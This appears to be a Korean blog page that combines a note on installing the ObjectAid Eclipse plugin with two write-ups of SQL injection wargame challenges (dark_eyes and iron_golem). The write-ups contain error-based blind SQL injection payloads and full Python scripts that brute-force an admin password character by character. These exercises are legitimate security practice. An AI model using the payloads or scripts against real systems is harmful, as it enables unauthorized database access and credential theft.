반응형
반응형
반응형

Q1 objectaid class diagram install error.

-> download objectaid-1.2.2.zip or ojectaid-1.2.4.zip from here.

Q2 objectaid class diagram "finish" button is not working.

-> use old version of eclipse.

 


 

오늘까지 객프 과제 마감인데, 오늘 과제하다가 3 2번 화났다.

첫번째는 저번주랑 이번주 할 일이 너무 많았다.

첫번째는 UML만들어야되는데 objectaid 사이트가 터진지 오래라 플러그인을 바로 다운받지 못했고

두번째는 다이어그램생성하는데 finish버튼을 눌러도 아무 반응이 없었던 것이었던거시다.

 

 

이클립스에서 UML 간편하게 만들려면 objectaid 플러그인을 사용해야한다.

직접 플러그인을 다운을 받던 이클립스 통해서 설치를 하던 objectaid사이트에서 데이터를 받아오게 되어있다.

그런데 사이트가 몇 달 전에 터진거 같다.  정확히는 도메인 만료되서 연장 안한거 같은데... 6월까지는 살아있던거 같던데..

objectaid.com

 

혀튼 그래서 플러그인 설치하려면 파일을 직접 구하는 수 밖에 없었다. 그래서 여러 사이트랑 블로그 찾아서 파일 2개를 구했다.

https://drive.google.com/file/d/1JNdkcMxQ-hGPKcoS-JaoiwtMgCYiJ7qP/view?usp=sharing 

 

objectaid-1_2_2.zip

 

drive.google.com

https://drive.google.com/file/d/1E1YFbVNe-swgLsLvKXb46VQjAxa4Gxd_/view?usp=sharing 

 

objectaid-1.2.4.zip

 

drive.google.com

 

Archive 버튼 눌러서 다운받은 zip 파일 그대로 걸어주면 된다.

 

이렇게 해결되나 싶더니 문제가 또 발생했다.

wtf finish button is not working f u

finish 버튼을 아무리 눌러도 반응이 없었다. 뭐 오류메세지를 주는 것도 아니고 뭘 하려는 시늉이라도 해야지.. 아무 반응이 없었다.

그래서 또 다른 블로그들 보니까  옛날 버전에서는 된다는 건 확실했고

 

 

4.2.1 주노 다운받아서 플러그인 다시 설치해서 성공했다.

 

힘들었다.

반응형
반응형

소스를 보자

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
  include "./config.php"
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/col|if|case|when|sleep|benchmark/i'$_GET[pw])) exit("HeHe");
  $query = "select id from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(mysqli_error($db)) exit();
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  
  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['pw']) && ($result['pw'== $_GET['pw'])) solve("dark_eyes");
  highlight_file(__FILE__);
?>
cs

 

 

 

 

 

  if(preg_match('/col|if|case|when|sleep|benchmark/i', $_GET[pw])) exit("HeHe");

  if(mysqli_error($db)) exit();

 

이전 문제와 다른 점은 필터링이 더 늘었다는 것과, sql 에러가 나면 php가 죽어버리는 점이 있다.

 

 

 

 

 

 

 

일단 이전 문제에서 사용했던 if를 우회해야 한다.

 

https://dorahee.tistory.com/140

 

sql 인젝션 우회 기법

1. or and 구문을 필터링 하고 있을 경우 - url 인코딩 문자인 %로 우회 - and >> %26%26, && - or >> %7C%7C, || 2. 단순 문자열 필터링인 경우 - preg_match - php 필터링 함수인 preg_match를 사용할 때 char,..

dorahee.tistory.com

위 글에서 if 를 대체할 함수로 coalesce함수가 나와있다.

 

 

 

coalesce는 null 값이 아닌 다음 인자를 반환한다.

 

 

1' or id='admin' and coalesce((select 1 where length(pw)=1) or null,(select 1 union select 2))%23

 

이렇게 하면 length(pw)=1 이 true가 되면 첫번째 인자가 null이 아니게 되어 다음 인자인 select 1 union select 2 를 반환하여 오류를 발생시킬 수 있다.

 

 

 

 

 

 

 

 

query : select id from prob_dark_eyes where id='admin' and pw='1' or id='admin' and coalesce((select 1 where length(pw)=8) or null,(select 1 union select 2))#'

 

pw는 8자리다.

 

 

query : select id from prob_dark_eyes where id='admin' and pw='1' or id='admin' and coalesce((select 1 where length(substr(pw,1,1))=1) or null,(select 1 union select 2))#'

은 참이다.

 

 

 

코드짜서 돌리자.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import urllib
import urllib2
import sys
import time
 
string = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~!@#$^&*()-_+="
 
 
key = ""
 
for i in range(8):
    for j in range(len(string)):
        payload = "1' or id='admin' and coalesce((select 1 where substring(pw,"+str(i+1)+",1)='"+string[j]+"') or null,(select 1 union select 2))#"
        payload = urllib.quote(payload)
        url = "https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php?pw="+payload
 
        print url
 
        opener = urllib2.build_opener(urllib2.HTTPHandler)
        request = urllib2.Request(url)
        request.add_header('User-Agent''Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
        request.add_header('Cookie''PHPSESSID=your_cookie')
        request.get_method = lambda:'GET'
        data = opener.open(request)
        data = data.read()
 
 
        if "query" in data:
            key += string[j]
            print "[*] Find Password!! Password is ["+key+"] admin"
            break
        else:
            print "[-] Fail!"
        time.sleep(0.01)
cs
반응형
반응형

소스:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
 
<?php
  include "./config.php"
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/sleep|benchmark/i'$_GET[pw])) exit("HeHe");
  $query = "select id from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(mysqli_error($db)) exit(mysqli_error($db));
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  
  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['pw']) && ($result['pw'== $_GET['pw'])) solve("iron_golem");
  highlight_file(__FILE__);
?>
cs

if(mysqli_error($db)) exit(mysqli_error($db));

 

결과는 안알려주는데 에러 발생하면 에러를 내뿜고 종료하는 구문이 있다.

이를 통해 Error Based SQL Injection 임을 알 수 있다.

 

 

 

 

 

 

 

pw=' or if(length(pw)=1,1,(select 1 union select 2))%23

 

으로 보내주면 조건 length(pw)=1 이 참이면 1을 반환하고, 거짓이면 select 1 union select 2를 반환하여 오류를 내뿜게 할 수 있다.

 

 

 

 

 

 

 

 

 

pw=%27%20or%20if(length(pw)=32,1,(select%201%20union%20select%202))%23

 

pw의 길이는 32이다.

 

 

 

 

저번처럼 유니코드일지도 모르니까 한 자리의 길이도 구했다.

pw=%27%20or%20if(length(substr(pw,1,1))=1,1,(select%201%20union%20select%202))%23

 

 

다행이 1이다.

 

 

 

소스 짜서 돌리자.

 

Subquery returns more than 1 row 가 나오지 않는 것을 찾으면 된다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import urllib
import urllib2
import sys
import time
 
string = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~!@#$^&*()-_+="
 
 
key = ""
 
for i in range(32):
    for j in range(len(string)):
        payload = "' or if(substring(pw,"+str(i+1)+",1)='"+string[j]+"',1,(select 1 union select 2))#"
        payload = urllib.quote(payload)
        url = "https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php?pw="+payload
 
        print url
 
        opener = urllib2.build_opener(urllib2.HTTPHandler)
        request = urllib2.Request(url)
        request.add_header('User-Agent''Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
        request.add_header('Cookie''PHPSESSID=your_cookie')
        request.get_method = lambda:'GET'
        data = opener.open(request)
        data = data.read()
 
 
        if not "Subquery returns more than 1 row" in data:
            key += string[j]
            print "[*] Find Password!! Password is ["+key+"] admin"
            break
        else:
            print "[-] Fail!"
        time.sleep(0.01)
cs
반응형

+ Recent posts